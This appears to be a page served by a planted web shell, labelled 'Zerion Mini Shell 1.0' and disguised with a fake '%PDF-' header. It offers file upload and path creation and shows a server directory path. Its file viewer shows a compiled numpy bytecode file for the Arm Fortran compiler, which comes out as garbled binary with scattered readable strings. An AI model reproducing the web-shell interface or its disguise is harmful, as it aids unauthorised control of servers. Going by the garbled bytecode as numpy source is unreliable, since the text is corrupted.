%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib64/python3.9/site-packages/numpy/distutils/fcompiler/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib64/python3.9/site-packages/numpy/distutils/fcompiler/__pycache__/arm.cpython-39.opt-1.pyc

a

z[yc��@s�ddlmZmZmZddlZddlmZmZddlmZddl	m
Z
mZmZdgZ
ddlZGdd�de�Zedkr�dd	lmZe�d
�ddlmZeedd
����dS)�)�division�absolute_import�print_functionN)�	FCompiler�dummy_fortran_file)�platform)�join�dirname�normpath�ArmFlangCompilerc@s�eZdZdZdZdZdZdgZddgddggd	�ddggd
�ddgd
d�ZddgZ	dZ
dZdd�Ze
jdd�dd��Zdd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd
S)#rZarmzArm Compilerz&\s*Arm.*version (?P<version>[\d.-]+).*zlib.exe�armflang�z	--version�-fPIC)rrz-ffixed-form)rrz-shared�arz-crN)Zversion_cmd�compiler_f77Zcompiler_fixZcompiler_f90Z	linker_soZarchiverZranlibz-DPICz-module cCst�|�}|�gd��|S)N)ZflangZflangrtiZompstub)r�
get_libraries�extend)�self�opt�r�C/usr/lib64/python3.9/site-packages/numpy/distutils/fcompiler/arm.pyr#s
zArmFlangCompiler.get_libraries�)�maxsizecCs6t�|�}t|jdd�}|�tt|dd���|S)z%List of compiler library directories.rrz..�lib)r�get_library_dirsr	�executables�appendr
r)rrZ	flang_dirrrrr(s
z!ArmFlangCompiler.get_library_dirscCsgS�Nr�rrrr�	get_flags1szArmFlangCompiler.get_flagscCsgSrrrrrr�get_flags_free4szArmFlangCompiler.get_flags_freecCsdgS)Nz-grrrrr�get_flags_debug7sz ArmFlangCompiler.get_flags_debugcCsdgS)Nz-O3rrrrr�
get_flags_opt:szArmFlangCompiler.get_flags_optcCsgSrrrrrr�get_flags_arch=szArmFlangCompiler.get_flags_archcCsd|S)Nz
-Wl,-rpath=%sr)r�dirrrr�runtime_library_dir_option@sz+ArmFlangCompiler.runtime_library_dir_option)�__name__�
__module__�__qualname__Z
compiler_type�descriptionZversion_patternZar_exeZpossible_executablesrZ	pic_flagsZ
c_compilerZmodule_dir_switchr�	functools�	lru_cacherrr r!r"r#r%rrrrr
s2�


�__main__)�log�)�customized_fcompilerr)Zcompiler)Z
__future__rrr�sysZnumpy.distutils.fcompilerrrrZos.pathrr	r
Z	compilersr*rr&Z	distutilsr-Z
set_verbosityZnumpy.distutilsr/�printZget_versionrrrr�<module>s7


Zerion Mini Shell 1.0